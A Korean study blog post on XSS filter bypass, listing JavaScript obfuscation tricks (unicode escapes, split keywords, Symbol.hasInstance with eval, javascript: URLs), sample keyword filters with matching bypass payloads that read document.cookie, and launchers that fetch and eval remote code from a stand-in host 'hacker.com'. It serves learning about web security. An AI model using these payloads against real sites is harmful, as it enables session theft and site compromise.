본문 바로가기

SEC/DH

[WEB] XSS 우회 #2

자바스크립트 함수 및 키워드 필터링

 

Unicode escape sequence

자바스크립트가 지원하는 Unicode escape sequence를 통해 유니코드 문자를 코드 포인트로 나타낼 수 있다.

필터링된 문자열을 Unicode로 변환해 우회하는 것이 가능하다.

 

var cookie1 = "\u0063ookie"; //cookie
var cookie2 = "cooki\x65"; //cookie
\u0061lert(document.cookie); //alert

 

 

Computed member access

객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능이다.

 

document["coo"+"kie"] == document["cookie"] == document.cookie

alert(document["\u0063ook" + "ie"]); // alert(document.cookie)

window['al\x65rt'](document["\u0063ook" + "ie"]); //alert(document.cookie)

 

XSS 공격 구문의 자바스크립트 키워드를 필터링한 경우 우회할 수 있는 방법이 다앙햐다.

alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기
window self, this
eval(code) Function(code)()
Function isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근

자바스크립트의 언어적 특성을 사용하면 [  ]  (  )  ! + 6개의 문자만으로 모든 동작이 수행 가능하다.

 

 

문자열 선언

( ) [ ] " ' 문자 사용 못하는 경우

 

템플릿 리터럴(Template Literals) 사용

문자열 사용에 필요한 (", ') 가 필터링되어 있는 경우 템플릿 리터럴(Template Literals) 사용한다.

템플릿 리터럴은 백틱(`)을 사용하여 선언할 수 있으며 내장된 ${} 표현식을 이용해 다른 변수나 식 사용이 가능하다.

 

var a = "AAAA";
var b = "BBBB";

var c = `${a},
${b} ${1+1}.`; // "AAAA,\nBBBB 2."

 

 

RegExp  객체 사용

따옴표와 백틱을 모두 사용하지 못하는 경우 RegExp 객체를 생성하고 객체의 패턴을 가져와 문자열을 만들 수 있다.

var a = /AAAA BBBB!/.souce; // "AAAA BBBB!"
var b = /test !/ + [] // "/test !/"

 

 

String.fromCharCode 함수 사용

String.fromCharCode 함수는 유니코드 범위 중 파라미터로 전달된 수에 해당하는 문자를 반환한다.

 

var a = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"

 

 

기본 내장 함수나 객체의 문자를 사용

내장 함수나 객체를 toString 함수를 이용해 문자열로 변경

var a = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

 

 

숫자 객체의 진법 변환

10진수 숫자를 36진수로 변경하여 아스키 영어 소문자 범위 생성 가능

E4X 연산자("..") 사용 (점 두개나 공백과 점을 조합해 사용)

var a = 29234652..toString(36); // "hello"
var b = 29234652 .toString(36); // "hello"

 

 

함수호출

일반적으로 자바스크립트의 함수 호출을 위해서는 소괄호 또는 백틱을 사용해야한다.

 

alert(1); // Parentheses
alert`1`; // Tagged Templates

 

소괄호와 백틱이 필터링 되어 있는 경우 

 

javascript 스키마를 이용한 location 변경

javascript: 스키마를 이용하면 URL을 이용해 자바스크립트 코드를 실행할 수 있다.

이를 이용해 현재 location 객체를 변조하는 방식으로 자바스크립트 코드를 실행하는 것이 가능하다.

location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";

 

Symbol.hasInstance 오버라이딩 (뭔지 모르겠음)

Symbol.hasInstance well-known symbol 사용 시 instanceof 연산자를 오버라이드 할 수 있다.

O instanceof C 를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과값으로 사용하게 된다.

이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출 가능하다.

 

"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

 

 

document.body.innerHTML 추가

자바스크립트를 통해 새로운 HTML  코드를 추가한다.

document.body.innerHTML에 코드를 추가할 경우 새로운 HTML 코드가 문서에 추가되고, 이를 통해 자바스크립트 실행이 가능하다.

innerHTML로 HTML 코드를 실행할 시 <script> 태그는 실행되지 않으므로 이벤트 핸들러를 이용해 자바스크립트 코드를 실행해야 한다.

 

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

 

필터링 우회 예시

1. window, document, alert 필터링

function XSSFilter(data){
  if(/alert|window|document/.test(data)){
    return false;
  }
  return true;
}

self['al'+'ert'](self['do'+'cument']['cookie'])


2. 키워드 및 특수문자 탐지

function XSSFilter(data){
  if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){
    return false;
  }
  return true;
}

Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
      decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();

// decodeURI, atob, constructor 사용하여 우회


3. ( ) " ' ` 필터링"

function XSSFilter(data){
  if(/[()"'`]/.test(data)){
    return false;
  }
  return true;
}

/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];

 

디코딩 전 필터링(Double encoding 등)

입력 검증은 디코딩 등의 모든 전처리 작업을 마치고 수행되어야 한다.

그러나 일부 웹 애플리케이션은 웹 방화벽의 필터링 기능에 의존하거나, 데이터의 개별 요소를 추출하기 전에 전체 데이터 (JSON, Form data)에 필터링을 수행하는 경우가 있다.

불필요한 인코딩을 줄이고, 애플리케이션에서 사용되는 인코딩 방식을 통일하는 방법으로 디코딩 전 필터링 취약점을 줄일 수 있다.

 

길이 제한

삽입할 수 있는 코드의 길이가 제한되어 있는 경우, 다른 경로로 실행할 추가적인 코드(payload)를 URL fragment 등으로 삽입 후 삽입 지점에는 본 코드를 실행하는 짧은 코드 (launcher)를 사용할 수 있다.

흔히 쓰이는 방법은 Fragment로 스크립트를 넘겨준 후 XSS 지점에서 location.bash로  URL fragment 부분을 추출하여 eval()로 실행한다.

 

그 외에도 쿠키에 페이로드를 저장하는 방식과 iimport와 같은 외부 자원을 스크립트로 로드하는 법을 사용할 수 있다.

 

1. location.hash  사용

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

2. 외부 자원 이용

import("http://hacker.com");

var e = document.createElement('script')
e.src='http://hacker.com';
document.appendChild(e);

fetch('http://hacker.com').then(x=>eval(x.text()))

'SEC > DH' 카테고리의 다른 글

[WEB] XSS 우회 #1  (0) 2022.07.16
[REV] IDA 사용법  (0) 2022.07.13
[WEB] SQL Injection #1  (0) 2022.07.10
[WEB] XSS (Cross Site Scripting) 테스트  (0) 2022.03.21